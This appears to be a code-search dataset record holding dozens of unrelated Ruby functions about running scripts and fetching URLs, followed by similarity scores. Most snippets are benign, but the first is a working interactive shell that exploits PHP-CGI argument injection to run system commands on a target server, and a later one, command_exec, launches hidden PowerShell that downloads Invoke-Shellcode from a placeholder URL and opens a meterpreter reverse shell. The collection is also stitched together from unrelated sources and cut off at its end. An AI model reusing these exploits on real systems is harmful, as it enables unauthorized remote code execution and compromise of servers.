"def apache_script_alias_rce_exploit_shell(link)\n if $config['HTTP']['TOR_PROXY']\n print_error(\"Sorry - NO TOR Support for this module at this time!\")\n return nil\n end\n puts\n prompt = \"(Command)> \"\n http=EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^c$|^clear$|^cls$/i\n cls\n banner\n puts\n when /^exit$|^quit$|^back$/i\n puts\n print_error(\"Returning to previous menu....\")\n break\n else\n test_payload = \"<?php print(___); system(#{cmd.strip.chomp}); print(___); ?>\"\n uri = URI.parse(link.sub(/\\/$/, '') + URI.encode('/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=\"\"+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n'))\n if $config['HTTP']['PROXY']\n http = Net::HTTP.new(uri.host, uri.port, $config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n request = Net::HTTP::Post.new(uri.request_uri, { \"User-Agent\" => $config['HTTP']['HTTP_USER_AGENT'] })\n request.body = test_payload\n if $config['HTTP']['REF']\n request['Referer'] = $config['HTTP']['REFERER']\n end\n if $config['HTTP']['HTTP_HEADERS_ADD']\n $config['HTTP']['HTTP_HEADERS'].each do |k, v|\n request[\"#{k}\"] = \"#{v}\"\n end\n end\n if $config['HTTP']['COOKIESUPPORT']\n cookies = File.open($config['HTTP']['COOKIEFILE']).read\n request[\"Cookie\"] = cookies.to_s\n end\n if $config['HTTP']['HTTP_AUTH']\n request.basic_auth $config['HTTP']['HTTP_AUTH_USER'], $config['HTTP']['HTTP_AUTH_PASS']\n end\n response = http.request(request)\n if response.body.gsub(/Notice: Use of undefined constant ___ - assumed '___' in - on line \\d+/i, '') =~ /___(.+)___/m\n print_line(\"\\n#{$1.strip.chomp}\\n\\n\")\n else\n puts\n print_error(\"Problem finding results!\")\n print_error(\"Check command and try again if expecting output....\\n\\n\")\n end\n end\n end\nend",
"def sub_url (p)\n res = (p != \"\") ? \"http://\" + request.host + \":3000\" + p.sub(\"/execute/\", \"/rest2/\") : p\n end",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def go()\n\[email protected] @url\n end",
"def perform_action_url\n begin\n if @urls.has_key?('Action')\n return request(@urls['Action'], {}, {}, METHOD_GET)\n end\n rescue\n raise RETSException.new(\"Unable to follow action URL: '#{$!}'.\")\n end\n end",
"def XOgoto (url)\n\t\tbegin\n\t\t\t$pfd.tstart( url)\n @wwBrws.goto( url)\n\t\t\tres= OK\n\t\trescue\n\t\t\tmsg= 'Cannot reach URL: '+url.to_s\n\t\t\tres= setResCritical (msg)\n\n#\t\t\t$pfd.calcApplRes(false,('Cannot reach URL. Parm: /'+url+'/'), url.to_s)\n#\t\t\tres= CRITICAL\n#\t\t\tself.XOtakeScreenShot\n\t\tend\n\t\treturnRes (res )\n\tend",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def windows_wget_powershell\n win_wget_ps = <<-WGET_PS\n param(\n [String] $remoteUrl,\n [String] $localPath\n )\n\n $webClient = new-object System.Net.WebClient;\n\n $webClient.DownloadFile($remoteUrl, $localPath);\n WGET_PS\n\n escape_and_echo(win_wget_ps)\n end",
"def waypointScript _args\n \"waypointScript _args;\" \n end",
"def run\n # Your code here, eg: task execute: :environment do\n beta_response = RestClient.get 'http://beta.treadhunter.com'\n prod_response = RestClient.get 'http://www.treadhunter.com'\n \n # use log() for writing to scheduler daemon log\n log(\"Beta response: #{beta_response.code}\")\n log(\"Prod response: #{prod_response.code}\")\n end",
"def run_href\n \"<#{payload[:frontend_url]} | Run ##{run[:id]}#{run_description}>\"\n end",
"def aws_get_url(url)\n # convenience method to run curls from inside the VM\n self.run(sprintf('curl -s %s', url))\n end",
"def open_target( url )\n\tnewt = Target.new(url)\n\tnewt.open\n\t[ newt.status, newt.uri, newt.ip, newt.body, newt.headers, newt.raw_headers ]\nend",
"def exec_sencha_command(task)\n\t\tsencha_command = \"sencha config -prop app.theme=tenant-\" + task['tenant'] + \" then\"\n\n\t\tsencha_command += \" \" + task['script']\n\n\t\tDir.chdir($web_path)\n\n\t\t# Execute shell command and retrieve result\n\t\tstdout, stderr, exit_status = Open3.capture3(sencha_command)\n\n\t\ttask['status'] = exit_status.success?\n\t\ttask['output'] = stdout.force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n\t\ttask['error'] = stderr.force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n\n\t\ttask\n\tend",
"def run(ant)\n end",
"def goto_url(url, options = {})\n rc = nil\n Log.Debug(:h4, \"[#{self.class.to_s}.GOTO_URL '#{url}']\") {\n _check_repl_lock\n\n compile_callback :goto_url, :url => url.to_s\n\n rc = exec\n unless rc.is_str?\n rc = nil\n else\n rc = wait_page_load\n if rc != true\n rc = nil\n elsif options[:pause].is_a?(Integer) and options[:pause] > 0\n sleep options[:pause]\n end\n end\n }\n Log.Debug \"{#{self.class.to_s}.goto_url} :=> #{rc.safe_s}\"\n rc\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def perform(url, up_post, down_post)\n\n site_code = get_site_status(url)\n if site_code == '200'\n if up_post\n post_status(site_code)\n end\n elsif site_code == '-1'\n sleep(300)\n perform(url, up_post, down_post)\n else\n Rails.logger.info \"Site status down - #{site_code}\"\n if down_post\n post_status(site_code)\n end\n if debug_exit\n post_status(site_code)\n else\n sleep(60)\n perform(url, true, false)\n end\n end\n delete_run_file\n\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def run_request(method, url, body, headers); end",
"def run_script_stage2(script)\n eval(IO.read(script))\n end",
"def submit_url(**options)\n post_request(\"/submit/url-for-analysis\", options)\n end",
"def submit_url(**options)\n post_request(\"/submit/url-for-analysis\", options)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def ts_uri\n \"druby://localhost:54321\"\n end",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def bind(url); end",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def get_page(target_url)\n response = @version.domain.request(\n 'GET',\n target_url\n )\n TaskPage.new(@version, response, @solution)\n end",
"def get(url); end",
"def script_exec(session,scrptlst)\n\tprint_status(\"Running script List ...\")\n\tscrptlst.each_line do |scrpt|\n\t\tbegin\n\t\t\tscript_components = scrpt.split\n\t\t\tscript = script_components.shift\n\t\t\tscript_args = script_components\n\t\t\tprint_status \"\\trunning script #{scrpt.chomp}\"\n\t\t\tsession.execute_script(script, script_args)\n rescue ::Exception => e\n print_error(\"Error: #{e.class} #{e}\")\n print_error(\"Error in script: #{scrpt}\")\n end\n end\nend",
"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
"def get_page(target_url)\n response = @version.domain.request(\n 'GET',\n target_url\n )\n TaskPage.new(@version, response, @solution)\n end",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def run\n if @options['file']\n execute_script @options['file']\n elsif @options['command']\n execute @options['command']\n else\n interactive_shell\n puts \n end\n end",
"def run_trial(t)\n perhost = t[:nd] <= t[:perhost] ? 1 : t[:perhost]\n # Keep a seperate output file for the trial\n puts \"---- #{t[:exp]}: sf#{t[:sf]} q#{t[:q]} n#{t[:nd]} s#{t[:sw]} #{perhost} perhost trial #{t[:trial]}----\"\n\n # Construct a call to run.rb\n tpch = \"tpch#{t[:q]}\"\n query_workdir = File.join($workdir, tpch)\n FileUtils.mkdir_p query_workdir if !File.exist? query_workdir\n output_path = File.join(query_workdir, 'out.txt')\n infix = ''\n infix << \" --binary #{File.join($options[:bindir], tpch, tpch)}\" if $options[:bindir]\n infix << ' --corrective' if $options[:correctives]\n infix << \" --batch-size #{$options[:rebatch]}\" if $options[:rebatch]\n infix << \" --msg-delay #{$options[:sleep_time]}\" if $options[:sleep_time]\n infix << \" --use-hm\" if $options[:use_hm]\n infix << \" --profile-latency --process-latency\" if t[:exp] == :latency\n infix << \" --mem-interval 250 --gc-epoch #{t[:gc_epoch]} --msg-delay#{t[:delay]} --process-memory\" if t[:exp] == :memory\n infix << \" --perhost #{perhost}\"\n infix << \" --sample-delay #{t[:sample_delay]}\" if t[:sample_delay]\n\n cmd = \"#{File.join($script_path, \"run.rb\")} -5\"\\\n \" #{File.join($common_path, \"K3-Mosaic/tests/queries/tpch/query#{t[:q]}.sql\")}\"\\\n \" -w #{query_workdir}/\"\\\n \" -p /local/data/mosaic/#{t[:sf]}f\"\\\n \" -s #{t[:sw]} -n #{t[:nd]}\"\\\n \" --compile-local --create-local #{infix}\"\\\n \" 2>&1 | tee #{output_path}\"\n puts cmd\n\n # Run and extract time upon success.\n msg = \"FAILED!\"\n system(cmd)\n out_file = File.read(output_path)\n if out_file =~ /.*Mesos job succeeded$/m\n jobid = out_file[/^JOBID = (\\d+)$/m, 1].to_i\n t[:jobid] = jobid\n puts \"Job #{jobid} succeeded\"\n job_dir = File.join(query_workdir, \"job_#{jobid}\")\n f = File.read(File.join(job_dir, 'time.txt'))\n m = /.*time: (\\d+).*mean:(\\d+).*max:(\\d+).*std_dev:(\\d+)\\n.*mean:(\\d+).*max:(\\d+).*std_dev:(\\d+)/m.match(f)\n new_t = {\n 'time' => m[1], 'n_mean' => m[2], 'n_max' => m[3],\n 'n_dev' => m[4], 's_mean' => m[5], 's_max' => m[6], 's_dev' => m[7]\n }\n t.merge!(new_t)\n t.delete(:fail) if t[:fail]\n msg = \"SUCCESS! Time=#{t['time']}\"\n else\n t[:fail] = true\n end\n puts \"------------ #{msg} ---------------\"\n t\nend",
"def request(url)\n\t\tTyphoeus::Request.new( url, \n\t\t\tfollowlocation: true, \n\t\t\theaders: {\"User-Agent\" => BrowserHeader.random}, \n\t\t\tcookiefile: config[:cookie][:file],\n\t\t\tcookiejar: config[:cookie][:file]\n\t\t)\n\tend",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def bin_get(url)\n `#{curl_get_cmd(url)} 2>/dev/null`\n end"
] | [
"0.6489701",
"0.59599537",
"0.5874378",
"0.5874378",
"0.5815341",
"0.5813311",
"0.57710665",
"0.5706828",
"0.5706828",
"0.5659056",
"0.5601633",
"0.55524963",
"0.55498976",
"0.549836",
"0.5450067",
"0.5436006",
"0.54299647",
"0.5401356",
"0.54008293",
"0.5392405",
"0.53913945",
"0.5366599",
"0.53517276",
"0.53503305",
"0.5332639",
"0.53183997",
"0.52977633",
"0.52973634",
"0.5286625",
"0.526485",
"0.526325",
"0.526325",
"0.525558",
"0.52294016",
"0.5229233",
"0.5227001",
"0.5225703",
"0.52079844",
"0.52019596",
"0.5191559",
"0.51910275",
"0.51721185",
"0.5145137",
"0.5144401",
"0.51271534",
"0.51246405",
"0.51235765",
"0.51181096",
"0.51110953",
"0.5096071",
"0.5094859",
"0.508737",
"0.50783044",
"0.507194",
"0.50627315",
"0.5057869",
"0.50576633",
"0.5052927",
"0.5051112",
"0.50419223",
"0.5040549",
"0.503814",
"0.50379884",
"0.50377876",
"0.50274074",
"0.5018798",
"0.5018577",
"0.5018145",
"0.5004153",
"0.50021905",
"0.5002163",
"0.4997767",
"0.49970093",
"0.49867997",
"0.49859887",
"0.4982321",
"0.49783495",
"0.49777344",
"0.49774885",
"0.49767688",
"0.49767688",
"0.4965914",
"0.49653473",
"0.49616233",
"0.49561352",
"0.49482238",
"0.4946665",
"0.49435923",
"0.49373803",
"0.4932933",
"0.4932219",
"0.49279216",
"0.49255794",
"0.49212337",
"0.49185267",
"0.49063745",
"0.4903451",
"0.49004817",
"0.4895397",
"0.48949298",
"0.48935637"
] | 0.0 | -1 |
execute this script by using the url " | def create_10000_random_zone_records()
for time in (1..100)
random_login_internal
for i in (1..100)
@user = User.find_by_id( session[:user_id] )
if @user == nil
redirect_to( :controller => "users", :action => "index" )
else
if (@user.avg_soldiers_per_zone < 1)
# UserZone.train_soldiers(@user.id, GameRules::TURNS_PER_TRAINING)
else
@result = ScalabilityTest.random_expand_or_attack(@user.id, :MODE_EXPAND_ATTACK)
if @result != true
flash[:notice] = @result
end
end
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def execute_script(script, *args); end",
"def execute script\n native.execute_script script\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def script; end",
"def script; end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def script_load(script); end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def execute_async_script(script, *args); end",
"def go()\n\[email protected] @url\n end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def go_to(url)\n driver.get url\n end",
"def execute\n @result = MdnQuery::SearchResult.from_url(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def download_bandcamp_url(folder_name, url)\n \"cd audio/#{folder_name} && ruby ../../scripts/bandcamp_downloader/bandcamp_downloader.rb #{url}\"\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def loadfile _file_url, _append\n send_cmd(\"loadfile #{_file_url} #{_append}\")\n end",
"def run\n make_request(@path)\n end",
"def run(robot, script)\n\nend",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def run_result; result['run_cyber_dojo_sh']; end",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def script(script_file)\n load script_file\n\n self\n end",
"def exec; end",
"def exec; end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def ab_command\n \"ab -r -e #{export_file_name} -n #{requests} -c #{concurrency} #{url}\"\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def originate url, args={}, &block\n extension = args.delete(:extension)\n dialplan = args.delete(:dialplan)\n context = args.delete(:context)\n\n vars = args.map {|k,v| \"#{k}=#{v}\"}.join(\",\")\n\n arg_string = \"{#{vars}}\" + \n [url, extension, dialplan, context].compact.join(\" \")\n command \"originate\", arg_string, &block\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def get(url); end",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def run\n html = URI.open(URL).read\n document = Nokogiri::HTML(html)\n storage = Storage.new(Procedure)\n \n Procedure.transaction do\n BLOCKS.each do |block|\n procedures = block.new(document).run\n storage.save procedures\n end\n end\n end",
"def script(name, param = nil)\n self.script_request.new(self.seed, name, param)\n end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
